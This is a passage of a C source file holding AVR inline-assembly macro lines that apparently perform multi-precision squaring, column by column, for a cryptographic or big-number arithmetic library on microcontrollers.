15234 "add r23, r0 \n\t" \
15235 "adc r24, r25 \n\t" \
15236 "adc r22, r25 \n\t" \
15237 "lsl r23 \n\t" \
15238 "rol r24 \n\t" \
15239 "rol r22 \n\t" \
15240 "mul r12, r12 \n\t" \
15241 "add r23, r0 \n\t" \
15242 "adc r24, r1 \n\t" \
15243 "adc r22, r25 \n\t" \
15244 "add r23, r28 \n\t" \
15245 "adc r24, r29 \n\t" \
15246 "adc r22, r25 \n\t" \
15247 "st z+, r23 \n\t" \
15248 \
15249 "ldi r29, 0 \n\t" \
15250 "mul r3, r2 \n\t" \
15251 "mov r23, r0 \n\t" \
15252 "mov r28, r1 \n\t" \
15253 "mul r4, r21 \n\t" \
15254 "add r23, r0 \n\t" \
15255 "adc r28, r1 \n\t" \
15256 "adc r29, r25 \n\t" \
15257 "mul r5, r20 \n\t" \
15258 "add r23, r0 \n\t" \
15259 "adc r28, r1 \n\t" \
15260 "adc r29, r25 \n\t" \
15261 "mul r6, r19 \n\t" \
15262 "add r23, r0 \n\t" \
15263 "adc r28, r1 \n\t" \
15264 "adc r29, r25 \n\t" \
15265 "mul r7, r18 \n\t" \
15266 "add r23, r0 \n\t" \
15267 "adc r28, r1 \n\t" \
15268 "adc r29, r25 \n\t" \
15269 "mul r8, r17 \n\t" \
15270 "add r23, r0 \n\t" \
15271 "adc r28, r1 \n\t" \
15272 "adc r29, r25 \n\t" \
15273 "mul r9, r16 \n\t" \
15274 "add r23, r0 \n\t" \
15275 "adc r28, r1 \n\t" \
15276 "adc r29, r25 \n\t" \
15277 "mul r10, r15 \n\t" \
15278 "add r23, r0 \n\t" \
15279 "adc r28, r1 \n\t" \
15280 "adc r29, r25 \n\t" \
15281 "mul r11, r14 \n\t" \
15282 "add r23, r0 \n\t" \
15283 "adc r28, r1 \n\t" \
15284 "adc r29, r25 \n\t" \
15285 "mul r12, r13 \n\t" \
15286 "add r23, r0 \n\t" \
15287 "adc r28, r1 \n\t" \
15288 "adc r29, r25 \n\t" \
15289 "ld r0, z \n\t" \
15290 "add r23, r0 \n\t" \
15291 "adc r28, r25 \n\t" \
15292 "adc r29, r25 \n\t" \
15293 "lsl r23 \n\t" \
15294 "rol r28 \n\t" \
15295 "rol r29 \n\t" \
15296 "add r23, r24 \n\t" \
15297 "adc r28, r22 \n\t" \
15298 "adc r29, r25 \n\t" \
15299 "st z+, r23 \n\t" \
15300 \
15301 "ld r3, x+ \n\t" \
15302 "ldi r22, 0 \n\t" \
15303 "mul r4, r2 \n\t" \
15304 "mov r23, r0 \n\t" \
15305 "mov r24, r1 \n\t" \
15306 "mul r5, r21 \n\t" \
15307 "add r23, r0 \n\t" \
15308 "adc r24, r1 \n\t" \
15309 "adc r22, r25 \n\t" \
15310 "mul r6, r20 \n\t" \
15311 "add r23, r0 \n\t" \
15312 "adc r24, r1 \n\t" \
15313 "adc r22, r25 \n\t" \
15314 "mul r7, r19 \n\t" \
15315 "add r23, r0 \n\t" \
15316 "adc r24, r1 \n\t" \
15317 "adc r22, r25 \n\t" \
15318 "mul r8, r18 \n\t" \
15319 "add r23, r0 \n\t" \
15320 "adc r24, r1 \n\t" \
15321 "adc r22, r25 \n\t" \
15322 "mul r9, r17 \n\t" \
15323 "add r23, r0 \n\t" \
15324 "adc r24, r1 \n\t" \
15325 "adc r22, r25 \n\t" \
15326 "mul r10, r16 \n\t" \
15327 "add r23, r0 \n\t" \
15328 "adc r24, r1 \n\t" \
15329 "adc r22, r25 \n\t" \
15330 "mul r11, r15 \n\t" \
15331 "add r23, r0 \n\t" \
15332 "adc r24, r1 \n\t" \
15333 "adc r22, r25 \n\t" \
15334 "mul r12, r14 \n\t" \
15335 "add r23, r0 \n\t" \
15336 "adc r24, r1 \n\t" \
15337 "adc r22, r25 \n\t" \
15338 "ld r0, z \n\t" \
15339 "add r23, r0 \n\t" \
15340 "adc r24, r25 \n\t" \
15341 "adc r22, r25 \n\t" \
15342 "lsl r23 \n\t" \
15343 "rol r24 \n\t" \
15344 "rol r22 \n\t" \
15345 "mul r13, r13 \n\t" \
15346 "add r23, r0 \n\t" \
15347 "adc r24, r1 \n\t" \
15348 "adc r22, r25 \n\t" \
15349 "add r23, r28 \n\t" \
15350 "adc r24, r29 \n\t" \
15351 "adc r22, r25 \n\t" \
15352 "st z+, r23 \n\t" \
15353 \
15354 "ldi r29, 0 \n\t" \
15355 "mul r4, r3 \n\t" \
15356 "mov r23, r0 \n\t" \
15357 "mov r28, r1 \n\t" \
15358 "mul r5, r2 \n\t" \
15359 "add r23, r0 \n\t" \
15360 "adc r28, r1 \n\t" \
15361 "adc r29, r25 \n\t" \
15362 "mul r6, r21 \n\t" \
15363 "add r23, r0 \n\t" \
15364 "adc r28, r1 \n\t" \
15365 "adc r29, r25 \n\t" \
15366 "mul r7, r20 \n\t" \
15367 "add r23, r0 \n\t" \
15368 "adc r28, r1 \n\t" \
15369 "adc r29, r25 \n\t" \
15370 "mul r8, r19 \n\t" \
15371 "add r23, r0 \n\t" \
15372 "adc r28, r1 \n\t" \
15373 "adc r29, r25 \n\t" \
15374 "mul r9, r18 \n\t" \
15375 "add r23, r0 \n\t" \
15376 "adc r28, r1 \n\t" \
15377 "adc r29, r25 \n\t" \
15378 "mul r10, r17 \n\t" \
15379 "add r23, r0 \n\t" \
15380 "adc r28, r1 \n\t" \
15381 "adc r29, r25 \n\t" \
15382 "mul r11, r16 \n\t" \
15383 "add r23, r0 \n\t" \
15384 "adc r28, r1 \n\t" \
15385 "adc r29, r25 \n\t" \
15386 "mul r12, r15 \n\t" \
15387 "add r23, r0 \n\t" \
15388 "adc r28, r1 \n\t" \
15389 "adc r29, r25 \n\t" \
15390 "mul r13, r14 \n\t" \
15391 "add r23, r0 \n\t" \
15392 "adc r28, r1 \n\t" \
15393 "adc r29, r25 \n\t" \
15394 "ld r0, z \n\t" \
15395 "add r23, r0 \n\t" \
15396 "adc r28, r25 \n\t" \
15397 "adc r29, r25 \n\t" \
15398 "lsl r23 \n\t" \
15399 "rol r28 \n\t" \
15400 "rol r29 \n\t" \
15401 "add r23, r24 \n\t" \
15402 "adc r28, r22 \n\t" \
15403 "adc r29, r25 \n\t" \
15404 "st z+, r23 \n\t" \
15405 \
15406 "ld r4, x+ \n\t" \
15407 "ldi r22, 0 \n\t" \
15408 "mul r5, r3 \n\t" \
15409 "mov r23, r0 \n\t" \
15410 "mov r24, r1 \n\t" \
15411 "mul r6, r2 \n\t" \
15412 "add r23, r0 \n\t" \
15413 "adc r24, r1 \n\t" \
15414 "adc r22, r25 \n\t" \
15415 "mul r7, r21 \n\t" \
15416 "add r23, r0 \n\t" \
15417 "adc r24, r1 \n\t" \
15418 "adc r22, r25 \n\t" \
15419 "mul r8, r20 \n\t" \
15420 "add r23, r0 \n\t" \
15421 "adc r24, r1 \n\t" \
15422 "adc r22, r25 \n\t" \
15423 "mul r9, r19 \n\t" \
15424 "add r23, r0 \n\t" \
15425 "adc r24, r1 \n\t" \
15426 "adc r22, r25 \n\t" \
15427 "mul r10, r18 \n\t" \
15428 "add r23, r0 \n\t" \
15429 "adc r24, r1 \n\t" \
15430 "adc r22, r25 \n\t" \
15431 "mul r11, r17 \n\t" \
15432 "add r23, r0 \n\t" \
15433 "adc r24, r1 \n\t" \
15434 "adc r22, r25 \n\t" \
15435 "mul r12, r16 \n\t" \
15436 "add r23, r0 \n\t" \
15437 "adc r24, r1 \n\t" \
15438 "adc r22, r25 \n\t" \
15439 "mul r13, r15 \n\t" \
15440 "add r23, r0 \n\t" \
15441 "adc r24, r1 \n\t" \
15442 "adc r22, r25 \n\t" \
15443 "ld r0, z \n\t" \
15444 "add r23, r0 \n\t" \
15445 "adc r24, r25 \n\t" \
15446 "adc r22, r25 \n\t" \
15447 "lsl r23 \n\t" \
15448 "rol r24 \n\t" \
15449 "rol r22 \n\t" \
15450 "mul r14, r14 \n\t" \
15451 "add r23, r0 \n\t" \
15452 "adc r24, r1 \n\t" \
15453 "adc r22, r25 \n\t" \
15454 "add r23, r28 \n\t" \
15455 "adc r24, r29 \n\t" \
15456 "adc r22, r25 \n\t" \
15457 "st z+, r23 \n\t" \
15458 \
15459 "ldi r29, 0 \n\t" \
15460 "mul r5, r4 \n\t" \
15461 "mov r23, r0 \n\t" \
15462 "mov r28, r1 \n\t" \
15463 "mul r6, r3 \n\t" \
15464 "add r23, r0 \n\t" \
15465 "adc r28, r1 \n\t" \
15466 "adc r29, r25 \n\t" \
15467 "mul r7, r2 \n\t" \
15468 "add r23, r0 \n\t" \
15469 "adc r28, r1 \n\t" \
15470 "adc r29, r25 \n\t" \
15471 "mul r8, r21 \n\t" \
15472 "add r23, r0 \n\t" \
15473 "adc r28, r1 \n\t" \
15474 "adc r29, r25 \n\t" \
15475 "mul r9, r20 \n\t" \
15476 "add r23, r0 \n\t" \
15477 "adc r28, r1 \n\t" \
15478 "adc r29, r25 \n\t" \
15479 "mul r10, r19 \n\t" \
15480 "add r23, r0 \n\t" \
15481 "adc r28, r1 \n\t" \
15482 "adc r29, r25 \n\t" \
15483 "mul r11, r18 \n\t" \
15484 "add r23, r0 \n\t" \
15485 "adc r28, r1 \n\t" \
15486 "adc r29, r25 \n\t" \
15487 "mul r12, r17 \n\t" \
15488 "add r23, r0 \n\t" \
15489 "adc r28, r1 \n\t" \
15490 "adc r29, r25 \n\t" \
15491 "mul r13, r16 \n\t" \
15492 "add r23, r0 \n\t" \
15493 "adc r28, r1 \n\t" \
15494 "adc r29, r25 \n\t" \
15495 "mul r14, r15 \n\t" \
15496 "add r23, r0 \n\t" \
15497 "adc r28, r1 \n\t" \
15498 "adc r29, r25 \n\t" \
15499 "ld r0, z \n\t" \
15500 "add r23, r0 \n\t" \
15501 "adc r28, r25 \n\t" \
15502 "adc r29, r25 \n\t" \
15503 "lsl r23 \n\t" \
15504 "rol r28 \n\t" \
15505 "rol r29 \n\t" \
15506 "add r23, r24 \n\t" \
15507 "adc r28, r22 \n\t" \
15508 "adc r29, r25 \n\t" \
15509 "st z+, r23 \n\t" \
15510 \
15511 "ld r5, x+ \n\t" \
15512 "ldi r22, 0 \n\t" \
15513 "mul r6, r4 \n\t" \
15514 "mov r23, r0 \n\t" \
15515 "mov r24, r1 \n\t" \
15516 "mul r7, r3 \n\t" \
15517 "add r23, r0 \n\t" \
15518 "adc r24, r1 \n\t" \
15519 "adc r22, r25 \n\t" \
15520 "mul r8, r2 \n\t" \
15521 "add r23, r0 \n\t" \
15522 "adc r24, r1 \n\t" \
15523 "adc r22, r25 \n\t" \
15524 "mul r9, r21 \n\t" \
15525 "add r23, r0 \n\t" \
15526 "adc r24, r1 \n\t" \
15527 "adc r22, r25 \n\t" \
15528 "mul r10, r20 \n\t" \
15529 "add r23, r0 \n\t" \
15530 "adc r24, r1 \n\t" \
15531 "adc r22, r25 \n\t" \
15532 "mul r11, r19 \n\t" \
15533 "add r23, r0 \n\t" \
15534 "adc r24, r1 \n\t" \
15535 "adc r22, r25 \n\t" \
15536 "mul r12, r18 \n\t" \
15537 "add r23, r0 \n\t" \
15538 "adc r24, r1 \n\t" \
15539 "adc r22, r25 \n\t" \
15540 "mul r13, r17 \n\t" \
15541 "add r23, r0 \n\t" \
15542 "adc r24, r1 \n\t" \
15543 "adc r22, r25 \n\t" \
15544 "mul r14, r16 \n\t" \
15545 "add r23, r0 \n\t" \
15546 "adc r24, r1 \n\t" \
15547 "adc r22, r25 \n\t" \
15548 "ld r0, z \n\t" \
15549 "add r23, r0 \n\t" \
15550 "adc r24, r25 \n\t" \
15551 "adc r22, r25 \n\t" \
15552 "lsl r23 \n\t" \
15553 "rol r24 \n\t" \
15554 "rol r22 \n\t" \
15555 "mul r15, r15 \n\t" \
15556 "add r23, r0 \n\t" \
15557 "adc r24, r1 \n\t" \
15558 "adc r22, r25 \n\t" \
15559 "add r23, r28 \n\t" \
15560 "adc r24, r29 \n\t" \
15561 "adc r22, r25 \n\t" \
15562 "st z+, r23 \n\t" \
15563 \
15564 "ldi r29, 0 \n\t" \
15565 "mul r6, r5 \n\t" \
15566 "mov r23, r0 \n\t" \
15567 "mov r28, r1 \n\t" \
15568 "mul r7, r4 \n\t" \
15569 "add r23, r0 \n\t" \
15570 "adc r28, r1 \n\t" \
15571 "adc r29, r25 \n\t" \
15572 "mul r8, r3 \n\t" \
15573 "add r23, r0 \n\t" \
15574 "adc r28, r1 \n\t" \
15575 "adc r29, r25 \n\t" \
15576 "mul r9, r2 \n\t" \
15577 "add r23, r0 \n\t" \
15578 "adc r28, r1 \n\t" \
15579 "adc r29, r25 \n\t" \
15580 "mul r10, r21 \n\t" \
15581 "add r23, r0 \n\t" \
15582 "adc r28, r1 \n\t" \
15583 "adc r29, r25 \n\t" \
15584 "mul r11, r20 \n\t" \
15585 "add r23, r0 \n\t" \
15586 "adc r28, r1 \n\t" \
15587 "adc r29, r25 \n\t" \
15588 "mul r12, r19 \n\t" \
15589 "add r23, r0 \n\t" \
15590 "adc r28, r1 \n\t" \
15591 "adc r29, r25 \n\t" \
15592 "mul r13, r18 \n\t" \
15593 "add r23, r0 \n\t" \
15594 "adc r28, r1 \n\t" \
15595 "adc r29, r25 \n\t" \
15596 "mul r14, r17 \n\t" \
15597 "add r23, r0 \n\t" \
15598 "adc r28, r1 \n\t" \
15599 "adc r29, r25 \n\t" \
15600 "mul r15, r16 \n\t" \
15601 "add r23, r0 \n\t" \
15602 "adc r28, r1 \n\t" \
15603 "adc r29, r25 \n\t" \
15604 "ld r0, z \n\t" \
15605 "add r23, r0 \n\t" \
15606 "adc r28, r25 \n\t" \
15607 "adc r29, r25 \n\t" \
15608 "lsl r23 \n\t" \
15609 "rol r28 \n\t" \
15610 "rol r29 \n\t" \
15611 "add r23, r24 \n\t" \
15612 "adc r28, r22 \n\t" \
15613 "adc r29, r25 \n\t" \
15614 "st z+, r23 \n\t" \
15615 \
15616 "ldi r22, 0 \n\t" \
15617 "mul r7, r5 \n\t" \
15618 "mov r23, r0 \n\t" \
15619 "mov r24, r1 \n\t" \
15620 "mul r8, r4 \n\t" \
15621 "add r23, r0 \n\t" \
15622 "adc r24, r1 \n\t" \
15623 "adc r22, r25 \n\t" \
15624 "mul r9, r3 \n\t" \
15625 "add r23, r0 \n\t" \
15626 "adc r24, r1 \n\t" \
15627 "adc r22, r25 \n\t" \
15628 "mul r10, r2 \n\t" \
15629 "add r23, r0 \n\t" \
15630 "adc r24, r1 \n\t" \
15631 "adc r22, r25 \n\t" \
15632 "mul r11, r21 \n\t" \
15633 "add r23, r0 \n\t" \
15634 "adc r24, r1 \n\t" \
15635 "adc r22, r25 \n\t" \
15636 "mul r12, r20 \n\t" \
15637 "add r23, r0 \n\t" \
15638 "adc r24, r1 \n\t" \
15639 "adc r22, r25 \n\t" \
15640 "mul r13, r19 \n\t" \
15641 "add r23, r0 \n\t" \
15642 "adc r24, r1 \n\t" \
15643 "adc r22, r25 \n\t" \
15644 "mul r14, r18 \n\t" \
15645 "add r23, r0 \n\t" \
15646 "adc r24, r1 \n\t" \
15647 "adc r22, r25 \n\t" \
15648 "mul r15, r17 \n\t" \
15649 "add r23, r0 \n\t" \
15650 "adc r24, r1 \n\t" \
15651 "adc r22, r25 \n\t" \
15652 "lsl r23 \n\t" \
15653 "rol r24 \n\t" \
15654 "rol r22 \n\t" \
15655 "mul r16, r16 \n\t" \
15656 "add r23, r0 \n\t" \
15657 "adc r24, r1 \n\t" \
15658 "adc r22, r25 \n\t" \
15659 "add r23, r28 \n\t" \
15660 "adc r24, r29 \n\t" \
15661 "adc r22, r25 \n\t" \
15662 "st z+, r23 \n\t" \
15663 \
15664 "ldi r29, 0 \n\t" \
15665 "mul r8, r5 \n\t" \
15666 "mov r23, r0 \n\t" \
15667 "mov r28, r1 \n\t" \
15668 "mul r9, r4 \n\t" \
15669 "add r23, r0 \n\t" \
15670 "adc r28, r1 \n\t" \
15671 "adc r29, r25 \n\t" \
15672 "mul r10, r3 \n\t" \
15673 "add r23, r0 \n\t" \
15674 "adc r28, r1 \n\t" \
15675 "adc r29, r25 \n\t" \
15676 "mul r11, r2 \n\t" \
15677 "add r23, r0 \n\t" \
15678 "adc r28, r1 \n\t" \
15679 "adc r29, r25 \n\t" \
15680 "mul r12, r21 \n\t" \
15681 "add r23, r0 \n\t" \
15682 "adc r28, r1 \n\t" \
15683 "adc r29, r25 \n\t" \
15684 "mul r13, r20 \n\t" \
15685 "add r23, r0 \n\t" \
15686 "adc r28, r1 \n\t" \
15687 "adc r29, r25 \n\t" \
15688 "mul r14, r19 \n\t" \
15689 "add r23, r0 \n\t" \
15690 "adc r28, r1 \n\t" \
15691 "adc r29, r25 \n\t" \
15692 "mul r15, r18 \n\t" \
15693 "add r23, r0 \n\t" \
15694 "adc r28, r1 \n\t" \
15695 "adc r29, r25 \n\t" \
15696 "mul r16, r17 \n\t" \
15697 "add r23, r0 \n\t" \
15698 "adc r28, r1 \n\t" \
15699 "adc r29, r25 \n\t" \
15700 "lsl r23 \n\t" \
15701 "rol r28 \n\t" \
15702 "rol r29 \n\t" \
15703 "add r23, r24 \n\t" \
15704 "adc r28, r22 \n\t" \
15705 "adc r29, r25 \n\t" \
15706 "st z+, r23 \n\t" \
15707 \
15708 "ldi r22, 0 \n\t" \
15709 "mul r9, r5 \n\t" \
15710 "mov r23, r0 \n\t" \
15711 "mov r24, r1 \n\t" \
15712 "mul r10, r4 \n\t" \
15713 "add r23, r0 \n\t" \
15714 "adc r24, r1 \n\t" \
15715 "adc r22, r25 \n\t" \
15716 "mul r11, r3 \n\t" \
15717 "add r23, r0 \n\t" \
15718 "adc r24, r1 \n\t" \
15719 "adc r22, r25 \n\t" \
15720 "mul r12, r2 \n\t" \
15721 "add r23, r0 \n\t" \
15722 "adc r24, r1 \n\t" \
15723 "adc r22, r25 \n\t" \
15724 "mul r13, r21 \n\t" \
15725 "add r23, r0 \n\t" \
15726 "adc r24, r1 \n\t" \
15727 "adc r22, r25 \n\t" \
15728 "mul r14, r20 \n\t" \
15729 "add r23, r0 \n\t" \
15730 "adc r24, r1 \n\t" \
15731 "adc r22, r25 \n\t" \
15732 "mul r15, r19 \n\t" \
15733 "add r23, r0 \n\t" \
15734 "adc r24, r1 \n\t" \
15735 "adc r22, r25 \n\t" \
15736 "mul r16, r18 \n\t" \
15737 "add r23, r0 \n\t" \
15738 "adc r24, r1 \n\t" \
15739 "adc r22, r25 \n\t" \
15740 "lsl r23 \n\t" \
15741 "rol r24 \n\t" \
15742 "rol r22 \n\t" \
15743 "mul r17, r17 \n\t" \
15744 "add r23, r0 \n\t" \
15745 "adc r24, r1 \n\t" \
15746 "adc r22, r25 \n\t" \
15747 "add r23, r28 \n\t" \
15748 "adc r24, r29 \n\t" \
15749 "adc r22, r25 \n\t" \
15750 "st z+, r23 \n\t" \
15751 \
15752 "ldi r29, 0 \n\t" \
15753 "mul r10, r5 \n\t" \
15754 "mov r23, r0 \n\t" \
15755 "mov r28, r1 \n\t" \
15756 "mul r11, r4 \n\t" \
15757 "add r23, r0 \n\t" \
15758 "adc r28, r1 \n\t" \
15759 "adc r29, r25 \n\t" \
15760 "mul r12, r3 \n\t" \
15761 "add r23, r0 \n\t" \
15762 "adc r28, r1 \n\t" \
15763 "adc r29, r25 \n\t" \
15764 "mul r13, r2 \n\t" \
15765 "add r23, r0 \n\t" \
15766 "adc r28, r1 \n\t" \
15767 "adc r29, r25 \n\t" \
15768 "mul r14, r21 \n\t" \
15769 "add r23, r0 \n\t" \
15770 "adc r28, r1 \n\t" \
15771 "adc r29, r25 \n\t" \
15772 "mul r15, r20 \n\t" \
15773 "add r23, r0 \n\t" \
15774 "adc r28, r1 \n\t" \
15775 "adc r29, r25 \n\t" \
15776 "mul r16, r19 \n\t" \
15777 "add r23, r0 \n\t" \
15778 "adc r28, r1 \n\t" \
15779 "adc r29, r25 \n\t" \
15780 "mul r17, r18 \n\t" \
15781 "add r23, r0 \n\t" \
15782 "adc r28, r1 \n\t" \
15783 "adc r29, r25 \n\t" \
15784 "lsl r23 \n\t" \
15785 "rol r28 \n\t" \
15786 "rol r29 \n\t" \
15787 "add r23, r24 \n\t" \
15788 "adc r28, r22 \n\t" \
15789 "adc r29, r25 \n\t" \
15790 "st z+, r23 \n\t" \
15791 \
15792 "ldi r22, 0 \n\t" \
15793 "mul r11, r5 \n\t" \
15794 "mov r23, r0 \n\t" \
15795 "mov r24, r1 \n\t" \
15796 "mul r12, r4 \n\t" \
15797 "add r23, r0 \n\t" \
15798 "adc r24, r1 \n\t" \
15799 "adc r22, r25 \n\t" \
15800 "mul r13, r3 \n\t" \
15801 "add r23, r0 \n\t" \
15802 "adc r24, r1 \n\t" \
15803 "adc r22, r25 \n\t" \
15804 "mul r14, r2 \n\t" \
15805 "add r23, r0 \n\t" \
15806 "adc r24, r1 \n\t" \
15807 "adc r22, r25 \n\t" \
15808 "mul r15, r21 \n\t" \
15809 "add r23, r0 \n\t" \
15810 "adc r24, r1 \n\t" \
15811 "adc r22, r25 \n\t" \
15812 "mul r16, r20 \n\t" \
15813 "add r23, r0 \n\t" \
15814 "adc r24, r1 \n\t" \
15815 "adc r22, r25 \n\t" \
15816 "mul r17, r19 \n\t" \
15817 "add r23, r0 \n\t" \
15818 "adc r24, r1 \n\t" \
15819 "adc r22, r25 \n\t" \
15820 "lsl r23 \n\t" \
15821 "rol r24 \n\t" \
15822 "rol r22 \n\t" \
15823 "mul r18, r18 \n\t" \
15824 "add r23, r0 \n\t" \
15825 "adc r24, r1 \n\t" \
15826 "adc r22, r25 \n\t" \
15827 "add r23, r28 \n\t" \
15828 "adc r24, r29 \n\t" \
15829 "adc r22, r25 \n\t" \
15830 "st z+, r23 \n\t" \
15831 \
15832 "ldi r29, 0 \n\t" \
15833 "mul r12, r5 \n\t" \
15834 "mov r23, r0 \n\t" \
15835 "mov r28, r1 \n\t" \
15836 "mul r13, r4 \n\t" \
15837 "add r23, r0 \n\t" \
15838 "adc r28, r1 \n\t" \
15839 "adc r29, r25 \n\t" \
15840 "mul r14, r3 \n\t" \
15841 "add r23, r0 \n\t" \
15842 "adc r28, r1 \n\t" \
15843 "adc r29, r25 \n\t" \
15844 "mul r15, r2 \n\t" \
15845 "add r23, r0 \n\t" \
15846 "adc r28, r1 \n\t" \
15847 "adc r29, r25 \n\t" \
15848 "mul r16, r21 \n\t" \
15849 "add r23, r0 \n\t" \
15850 "adc r28, r1 \n\t" \
15851 "adc r29, r25 \n\t" \
15852 "mul r17, r20 \n\t" \
15853 "add r23, r0 \n\t" \
15854 "adc r28, r1 \n\t" \
15855 "adc r29, r25 \n\t" \
15856 "mul r18, r19 \n\t" \
15857 "add r23, r0 \n\t" \
15858 "adc r28, r1 \n\t" \
15859 "adc r29, r25 \n\t" \
15860 "lsl r23 \n\t" \
15861 "rol r28 \n\t" \
15862 "rol r29 \n\t" \
15863 "add r23, r24 \n\t" \
15864 "adc r28, r22 \n\t" \
15865 "adc r29, r25 \n\t" \
15866 "st z+, r23 \n\t" \
15867 \
15868 "ldi r22, 0 \n\t" \
15869 "mul r13, r5 \n\t" \
15870 "mov r23, r0 \n\t" \
15871 "mov r24, r1 \n\t" \
15872 "mul r14, r4 \n\t" \
15873 "add r23, r0 \n\t" \
15874 "adc r24, r1 \n\t" \
15875 "adc r22, r25 \n\t" \
15876 "mul r15, r3 \n\t" \
15877 "add r23, r0 \n\t" \
15878 "adc r24, r1 \n\t" \
15879 "adc r22, r25 \n\t" \
15880 "mul r16, r2 \n\t" \
15881 "add r23, r0 \n\t" \
15882 "adc r24, r1 \n\t" \
15883 "adc r22, r25 \n\t" \
15884 "mul r17, r21 \n\t" \
15885 "add r23, r0 \n\t" \
15886 "adc r24, r1 \n\t" \
15887 "adc r22, r25 \n\t" \
15888 "mul r18, r20 \n\t" \
15889 "add r23, r0 \n\t" \
15890 "adc r24, r1 \n\t" \
15891 "adc r22, r25 \n\t" \
15892 "lsl r23 \n\t" \
15893 "rol r24 \n\t" \
15894 "rol r22 \n\t" \
15895 "mul r19, r19 \n\t" \
15896 "add r23, r0 \n\t" \
15897 "adc r24, r1 \n\t" \
15898 "adc r22, r25 \n\t" \
15899 "add r23, r28 \n\t" \
15900 "adc r24, r29 \n\t" \
15901 "adc r22, r25 \n\t" \
15902 "st z+, r23 \n\t" \
15903 \
15904 "ldi r29, 0 \n\t" \
15905 "mul r14, r5 \n\t" \
15906 "mov r23, r0 \n\t" \
15907 "mov r28, r1 \n\t" \
15908 "mul r15, r4 \n\t" \
15909 "add r23, r0 \n\t" \
15910 "adc r28, r1 \n\t" \
15911 "adc r29, r25 \n\t" \
15912 "mul r16, r3 \n\t" \
15913 "add r23, r0 \n\t" \
15914 "adc r28, r1 \n\t" \
15915 "adc r29, r25 \n\t" \
15916 "mul r17, r2 \n\t" \
15917 "add r23, r0 \n\t" \
15918 "adc r28, r1 \n\t" \
15919 "adc r29, r25 \n\t" \
15920 "mul r18, r21 \n\t" \
15921 "add r23, r0 \n\t" \
15922 "adc r28, r1 \n\t" \
15923 "adc r29, r25 \n\t" \
15924 "mul r19, r20 \n\t" \
15925 "add r23, r0 \n\t" \
15926 "adc r28, r1 \n\t" \
15927 "adc r29, r25 \n\t" \
15928 "lsl r23 \n\t" \
15929 "rol r28 \n\t" \
15930 "rol r29 \n\t" \
15931 "add r23, r24 \n\t" \
15932 "adc r28, r22 \n\t" \
15933 "adc r29, r25 \n\t" \
15934 "st z+, r23 \n\t" \
15935 \
15936 "ldi r22, 0 \n\t" \
15937 "mul r15, r5 \n\t" \
15938 "mov r23, r0 \n\t" \
15939 "mov r24, r1 \n\t" \
15940 "mul r16, r4 \n\t" \
15941 "add r23, r0 \n\t" \
15942 "adc r24, r1 \n\t" \
15943 "adc r22, r25 \n\t" \
15944 "mul r17, r3 \n\t" \
15945 "add r23, r0 \n\t" \
15946 "adc r24, r1 \n\t" \
15947 "adc r22, r25 \n\t" \
15948 "mul r18, r2 \n\t" \
15949 "add r23, r0 \n\t" \
15950 "adc r24, r1 \n\t" \
15951 "adc r22, r25 \n\t" \
15952 "mul r19, r21 \n\t" \
15953 "add r23, r0 \n\t" \
15954 "adc r24, r1 \n\t" \
15955 "adc r22, r25 \n\t" \
15956 "lsl r23 \n\t" \
15957 "rol r24 \n\t" \
15958 "rol r22 \n\t" \
15959 "mul r20, r20 \n\t" \
15960 "add r23, r0 \n\t" \
15961 "adc r24, r1 \n\t" \
15962 "adc r22, r25 \n\t" \
15963 "add r23, r28 \n\t" \
15964 "adc r24, r29 \n\t" \
15965 "adc r22, r25 \n\t" \
15966 "st z+, r23 \n\t" \
15967 \
15968 "ldi r29, 0 \n\t" \
15969 "mul r16, r5 \n\t" \
15970 "mov r23, r0 \n\t" \
15971 "mov r28, r1 \n\t" \
15972 "mul r17, r4 \n\t" \
15973 "add r23, r0 \n\t" \
15974 "adc r28, r1 \n\t" \
15975 "adc r29, r25 \n\t" \
15976 "mul r18, r3 \n\t" \
15977 "add r23, r0 \n\t" \
15978 "adc r28, r1 \n\t" \
15979 "adc r29, r25 \n\t" \
15980 "mul r19, r2 \n\t" \
15981 "add r23, r0 \n\t" \
15982 "adc r28, r1 \n\t" \
15983 "adc r29, r25 \n\t" \
15984 "mul r20, r21 \n\t" \
15985 "add r23, r0 \n\t" \
15986 "adc r28, r1 \n\t" \
15987 "adc r29, r25 \n\t" \
15988 "lsl r23 \n\t" \
15989 "rol r28 \n\t" \
15990 "rol r29 \n\t" \
15991 "add r23, r24 \n\t" \
15992 "adc r28, r22 \n\t" \
15993 "adc r29, r25 \n\t" \
15994 "st z+, r23 \n\t" \
15995 \
15996 "ldi r22, 0 \n\t" \
15997 "mul r17, r5 \n\t" \
15998 "mov r23, r0 \n\t" \
15999 "mov r24, r1 \n\t" \
16000 "mul r18, r4 \n\t" \
16001 "add r23, r0 \n\t" \
16002 "adc r24, r1 \n\t" \
16003 "adc r22, r25 \n\t" \
16004 "mul r19, r3 \n\t" \
16005 "add r23, r0 \n\t" \
16006 "adc r24, r1 \n\t" \
16007 "adc r22, r25 \n\t" \
16008 "mul r20, r2 \n\t" \
16009 "add r23, r0 \n\t" \
16010 "adc r24, r1 \n\t" \
16011 "adc r22, r25 \n\t" \
16012 "lsl r23 \n\t" \
16013 "rol r24 \n\t" \
16014 "rol r22 \n\t" \
16015 "mul r21, r21 \n\t" \
16016 "add r23, r0 \n\t" \
16017 "adc r24, r1 \n\t" \
16018 "adc r22, r25 \n\t" \
16019 "add r23, r28 \n\t" \
16020 "adc r24, r29 \n\t" \
16021 "adc r22, r25 \n\t" \
16022 "st z+, r23 \n\t" \
16023 \
16024 "ldi r29, 0 \n\t" \
16025 "mul r18, r5 \n\t" \
16026 "mov r23, r0 \n\t" \
16027 "mov r28, r1 \n\t" \
16028 "mul r19, r4 \n\t" \
16029 "add r23, r0 \n\t" \
16030 "adc r28, r1 \n\t" \
16031 "adc r29, r25 \n\t" \
16032 "mul r20, r3 \n\t" \
16033 "add r23, r0 \n\t" \
16034 "adc r28, r1 \n\t" \
16035 "adc r29, r25 \n\t" \
16036 "mul r21, r2 \n\t" \
16037 "add r23, r0 \n\t" \
16038 "adc r28, r1 \n\t" \
16039 "adc r29, r25 \n\t" \
16040 "lsl r23 \n\t" \
16041 "rol r28 \n\t" \
16042 "rol r29 \n\t" \
16043 "add r23, r24 \n\t" \
16044 "adc r28, r22 \n\t" \
16045 "adc r29, r25 \n\t" \
16046 "st z+, r23 \n\t" \
16047 \
16048 "ldi r22, 0 \n\t" \
16049 "mul r19, r5 \n\t" \
16050 "mov r23, r0 \n\t" \
16051 "mov r24, r1 \n\t" \
16052 "mul r20, r4 \n\t" \
16053 "add r23, r0 \n\t" \
16054 "adc r24, r1 \n\t" \
16055 "adc r22, r25 \n\t" \
